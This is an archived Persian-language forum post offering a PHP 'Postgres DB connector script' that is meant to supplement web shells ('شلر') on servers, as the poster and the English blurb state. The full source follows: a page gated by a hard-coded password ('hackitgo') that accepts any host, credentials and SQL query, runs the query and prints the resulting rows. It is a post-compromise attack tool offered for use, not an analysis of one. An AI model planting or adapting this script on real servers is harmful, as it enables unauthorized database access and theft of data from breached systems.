PDA

View Full Version : اسکریپت php برای اتصال به دیتابیس از شلر



mmohammadd
جمعه 05 شهریور 1389, 16:23 عصر
بعضی مواقع بعضی شلر ها نمیتونن به دیتابیس متصل بشن

با استفاده از این اسکریپت میتونید به دیتابیس کانکت شده و تیبل ها رو مشاهده و ویرایش کنید


With this script you can connect to postgres database server, send query and view tables but you must guessing the name of these...but this script can 'be useful because in some php shell is not included support for this type of database.


<?

/*
Name: Postgres DB connector script
Date: 10/2007
Version: 1.1
*/

if(isset($_POST['name']))
$y=funzione2();
else
{
if(isset($_POST['pwd']))
{
$pwd=$_POST['pwd'];
if($pwd=='hackitgo')
{
$y=funzione();
}
else
{
echo "<html><head><script>alert('Wrong Passwd...Go away ************')</script>";
}
}
else
{
echo '<html><body bgcolor=black><form method="post"action="#">
<br><font face="arial" size="1" color=greenyellow><p align=center><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br>
Insert the password protection<br><br>Pwd: </size></font><input type="text" "size="10" maxlength="10" name="pwd" ><br>
<input type="submit" value="Check">
</form></p></font></body></html>';
}
}

function funzione()
{

if (!isset($_POST['name']))
{
print'
<html>
<head>
<title>Postgres DB connector script</title>
</head>
<body bgcolor="black">

<h5 align="center"><br><font face="Courier" size="5" color=greenyellow>>#!#!#(){ PostGresDB Server Connector Script }()#!#!#</h5>
<form method="post"action="#">
<br><br><font face=Courier size=4><p align=center>
Input Parametres :</font><br>
<br><font face="arial" size="1">Dbname:</size></font>
<input type="text" "size="10" maxlength="10" name="name" >
<br><font face="arial" size="1" color=greenyellow>PortN:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</size></font>
<input type="text" "size="10" maxlength="10" name="port" value="5432">
<br><font face="arial" size="1" color=greenyellow>Usrname:</size></font>
<input type="text" "size="10" maxlength="10" name="username" >
<br><font face="arial" size="1" color=greenyellow>Pwd:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</size></font>
<input type="password" "size="10" maxlength="10" name="password" >
<br>&nbsp;<font face="arial" size="1" color=greenyellow>&nbsp;&nbsp;&nbsp;HostN:</size></font>
&nbsp;<input type="text" "size="15" maxlength="15" name="host" bgcolor="#cccccc"><br><br>
<font face="arial" size="1" color=greenyellow>Insert a Query :<br></size></font>
<input type="text" "size="100" maxlength="100" name="sql" >
<INPUT TYPE="SUBMIT" NAME="run" VALUE="exec"></p>
</form>
</body>
</html>';
}
else
$y=funzione2();
}
function funzione2()
{
$dbname = $_POST["name"]; //database name
$dbhost= $_POST["host"]; //host name
$dbport= $_POST["port"]; //port number
$dbuser= $_POST["username"]; //user name
$dbpass= $_POST["password"]; //pwd value
$dbconn = pg_connect("host=".$dbhost." port=".$dbport." dbname=".$dbname." user=".$dbuser." password=".$dbpass); //connectionstring

if (!$dbconn) {
echo "Can't connect.\n";
exit(1);
}

$query=$_POST["sql"];
$res = pg_query($dbconn,$query);

if(!$res){
echo "Errore\n";
exit;
}



echo'<br><p align=center><b><font face="courier" size="6" color=blue><body bgcolor="black"> 0utput V4lue (Tuples):</b></p>';
print'<hr size="4" width=6088 color="grey" noshade>';
echo "<table width=100%>";

//stampo i valori entro una tabella
$ferma=0;
$res = pg_query($dbconn,$query);
while ($row = pg_fetch_row($res)) {
echo"<tr>";//riga n
for ($j=0; $j < count($row); $j++) {
if ($ferma==0){
$coulumn_name=pg_field_name ($res,$j);
$stringa=" <td bgcolor=black> <font face=arial size=-3 color=greenyellow>
<b><font face=courier size=2 color=lightskyblue>".$coulumn_name."&nbsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></font><br>".$row[$j]."
</b>
</font>
</td>";
}
else
{
$stringa="<td bgcolor=black>
<font face=arial size=-2 color=greenyellow><br>".$row[$j]."</font>
</td>";
}

echo $stringa;
}
$ferma=1;
echo "</tr>";
}
echo"</table>";

return 0;
}


?>